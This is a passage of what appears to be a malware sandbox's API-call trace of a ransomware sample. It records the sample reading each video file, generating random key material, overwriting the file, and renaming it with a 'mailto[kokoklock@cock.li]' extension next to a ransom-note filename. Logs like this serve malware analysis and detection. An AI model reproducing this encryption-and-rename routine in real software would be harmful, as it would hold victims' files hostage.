tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\u6zuemdgtut4vcmkt_wx.avi")) returned 0x20 [0082.893] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi", dwFileAttributes=0x20) returned 1 [0082.893] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\u6zuemdgtut4vcmkt_wx.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0082.893] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2893fd84 | out: lpFileSize=0x2893fd84*=92513) returned 1 [0082.893] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x1695d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.894] ReadFile (in: hFile=0x328, lpBuffer=0x2893fd58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2893fd54, lpOverlapped=0x0 | out: lpBuffer=0x2893fd58*, lpNumberOfBytesRead=0x2893fd54*=0x4, lpOverlapped=0x0) returned 1 [0082.894] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.894] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cfb0 [0082.894] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf10 [0082.894] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cd58 [0082.894] NtQuerySystemTime (in: CurrentTime=0x2893fd30 | out: CurrentTime=0x2893fd30*=132121176407891951) returned 0x0 [0082.894] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0x5b49de5c [0082.894] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0xed4537dc [0082.894] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0x3280bf7c [0082.894] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0x9ccb2388 [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0xd4c22a98 [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0x64120618 [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0xdce9885 [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0x14046fdb [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0x8d2c69a3 [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0x4b3e2edb [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0x8f749a39 [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0x6731d28b [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0x37eacd24 [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0x528bb915 [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0x5f24d4d4 [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0x7097f75b [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0x8c8ad877 [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0x69d2cc5 [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0xd71afb73 [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0x9dbdedaf [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0xdc883bfe [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0x181f01d6 [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0x77d46b4f [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0x5d8d7ec5 [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0xda94242 [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0xc9f4555e [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0xa5105ea7 [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0xbf6194af [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0xd3d0d620 [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0x2db43575 [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0x6207a8e9 [0082.895] RtlRandom (in: Seed=0x2893fd3c | out: Seed=0x2893fd3c) returned 0x860d616a [0082.906] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0082.906] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cfb0) returned 1 [0082.906] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.906] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.906] ReadFile (in: hFile=0x328, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2893fd08, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2893fd08*=0x4096, lpOverlapped=0x0) returned 1 [0082.906] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.906] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0082.906] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0082.906] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ce98 [0082.906] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce98) returned 1 [0082.907] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0082.907] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ce98 [0082.907] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cd80 [0082.907] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cd80) returned 1 [0082.907] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0082.907] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0082.907] WriteFile (in: hFile=0x328, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2893fd08, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2893fd08*=0x4096, lpOverlapped=0x0) returned 1 [0082.907] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0082.907] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x16961, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.907] WriteFile (in: hFile=0x328, lpBuffer=0x342ce98*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2893fd40, lpOverlapped=0x0 | out: lpBuffer=0x342ce98*, lpNumberOfBytesWritten=0x2893fd40*=0x20, lpOverlapped=0x0) returned 1 [0082.908] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce98) returned 1 [0082.908] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.908] WriteFile (in: hFile=0x328, lpBuffer=0x342ce20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2893fd54, lpOverlapped=0x0 | out: lpBuffer=0x342ce20*, lpNumberOfBytesWritten=0x2893fd54*=0x8, lpOverlapped=0x0) returned 1 [0082.908] WriteFile (in: hFile=0x328, lpBuffer=0x2893fd6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2893fd54, lpOverlapped=0x0 | out: lpBuffer=0x2893fd6c*, lpNumberOfBytesWritten=0x2893fd54*=0x4, lpOverlapped=0x0) returned 1 [0082.908] WriteFile (in: hFile=0x328, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2893fd54, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2893fd54*=0x4, lpOverlapped=0x0) returned 1 [0082.908] WriteFile (in: hFile=0x328, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2893fd54, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2893fd54*=0x6c, lpOverlapped=0x0) returned 1 [0082.908] WriteFile (in: hFile=0x328, lpBuffer=0x342cf10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2893fd54, lpOverlapped=0x0 | out: lpBuffer=0x342cf10*, lpNumberOfBytesWritten=0x2893fd54*=0x20, lpOverlapped=0x0) returned 1 [0082.908] WriteFile (in: hFile=0x328, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2893fd54, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2893fd54*=0x4, lpOverlapped=0x0) returned 1 [0082.908] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf10) returned 1 [0082.908] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cda8) returned 1 [0082.908] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce20) returned 1 [0082.908] CloseHandle (hObject=0x328) returned 1 [0082.908] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x108) returned 0x342c3a0 [0082.908] wcscpy (in: _Dest=0x342c3a0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi" [0082.908] wcscat (in: _Dest=0x342c3a0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi.mailto[kokoklock@cock.li].d0e731" [0082.908] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\u6zuemdgtut4vcmkt_wx.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\u6zuemdgtut4vcmkt_wx.avi.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.952] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c3a0) returned 1 [0084.952] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi", dwFileAttributes=0x20) returned 0 [0084.952] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xba) returned 0x3487a58 [0084.952] wcscpy (in: _Dest=0x3487a58, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\" [0084.952] wcscat (in: _Dest=0x3487a58, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\D0E731-Readme.txt" [0084.952] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\d0e731-readme.txt")) returned 0x20 [0084.969] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3487a58) returned 1 [0084.969] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f8178) returned 1 [0084.969] RtlExitUserThread (Status=0x1) Thread: id = 1145 os_tid = 0x344 [0082.909] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\vjwkavyr trz.swf")) returned 0x20 [0082.909] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf", dwFileAttributes=0x20) returned 1 [0082.909] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\vjwkavyr trz.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0082.910] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x289bf820 | out: lpFileSize=0x289bf820*=75015) returned 1 [0082.910] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x12503, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.910] ReadFile (in: hFile=0x548, lpBuffer=0x289bf7f4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x289bf7f0, lpOverlapped=0x0 | out: lpBuffer=0x289bf7f4*, lpNumberOfBytesRead=0x289bf7f0*=0x4, lpOverlapped=0x0) returned 1 [0082.911] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.911] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cfb0 [0082.911] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf10 [0082.911] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cd80 [0082.911] NtQuerySystemTime (in: CurrentTime=0x289bf7cc | out: CurrentTime=0x289bf7cc*=132121176408048216) returned 0x0 [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0xb78ee254 [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0xe747e2fd [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0x59943738 [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0xe6ce808d [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0xcc2b8425 [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0x483e6350 [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0x32734a1f [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0x906afe31 [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0xe2aee5e [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0x6b32c731 [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0x2f3a9b3b [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0x19df1fbe [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0x22d11574 [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0x75350f91 [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0x80457635 [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0xda4f20de [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0xcf033ff5 [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0x45f37e2e [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0xa018334a [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0x8e510124 [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0xd640a251 [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0x75a0e73 [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0xf3ff4c86 [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0xc82bd298 [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0xf6c72415 [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0xc428dc41 [0082.911] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0x6c19e4bd [0082.912] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0x3a4f2ee7 [0082.912] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0x6ac769a [0082.912] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0x102cc8d2 [0082.912] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0xe61d93d8 [0082.912] RtlRandom (in: Seed=0x289bf7d8 | out: Seed=0x289bf7d8) returned 0x8b06ee40 [0082.922] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0082.922] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cfb0) returned 1 [0082.922] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.922] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.923] ReadFile (in: hFile=0x548, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x289bf7a4, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x289bf7a4*=0x4096, lpOverlapped=0x0) returned 1 [0082.923] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0082.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0082.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ce98 [0082.923] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce98) returned 1 [0082.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0082.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ce98 [0082.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cec0 [0082.923] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cec0) returned 1 [0082.923] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0082.923] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0082.924] WriteFile (in: hFile=0x548, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x289bf7a4, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x289bf7a4*=0x4096, lpOverlapped=0x0) returned 1 [0082.924] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0082.924] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x12507, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.924] WriteFile (in: hFile=0x548, lpBuffer=0x342ce98*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x289bf7dc, lpOverlapped=0x0 | out: lpBuffer=0x342ce98*, lpNumberOfBytesWritten=0x289bf7dc*=0x20, lpOverlapped=0x0) returned 1 [0082.924] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce98) returned 1 [0082.924] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.924] WriteFile (in: hFile=0x548, lpBuffer=0x342ce20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x289bf7f0, lpOverlapped=0x0 | out: lpBuffer=0x342ce20*, lpNumberOfBytesWritten=0x289bf7f0*=0x8, lpOverlapped=0x0) returned 1 [0082.924] WriteFile (in: hFile=0x548, lpBuffer=0x289bf808*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x289bf7f0, lpOverlapped=0x0 | out: lpBuffer=0x289bf808*, lpNumberOfBytesWritten=0x289bf7f0*=0x4, lpOverlapped=0x0) returned 1 [0082.924] WriteFile (in: hFile=0x548, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x289bf7f0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x289bf7f0*=0x4, lpOverlapped=0x0) returned 1 [0082.924] WriteFile (in: hFile=0x548, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x289bf7f0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x289bf7f0*=0x6c, lpOverlapped=0x0) returned 1 [0082.924] WriteFile (in: hFile=0x548, lpBuffer=0x342cf10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x289bf7f0, lpOverlapped=0x0 | out: lpBuffer=0x342cf10*, lpNumberOfBytesWritten=0x289bf7f0*=0x20, lpOverlapped=0x0) returned 1 [0082.924] WriteFile (in: hFile=0x548, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x289bf7f0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x289bf7f0*=0x4, lpOverlapped=0x0) returned 1 [0082.924] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf10) returned 1 [0082.925] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cda8) returned 1 [0082.925] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce20) returned 1 [0082.925] CloseHandle (hObject=0x548) returned 1 [0084.858] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf8) returned 0x3495dd8 [0084.858] wcscpy (in: _Dest=0x3495dd8, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf" [0084.858] wcscat (in: _Dest=0x3495dd8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf.mailto[kokoklock@cock.li].d0e731" [0084.858] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\vjwkavyr trz.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\vjwkavyr trz.swf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.951] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf.mailto[kokoklock@cock.li].d0e731", 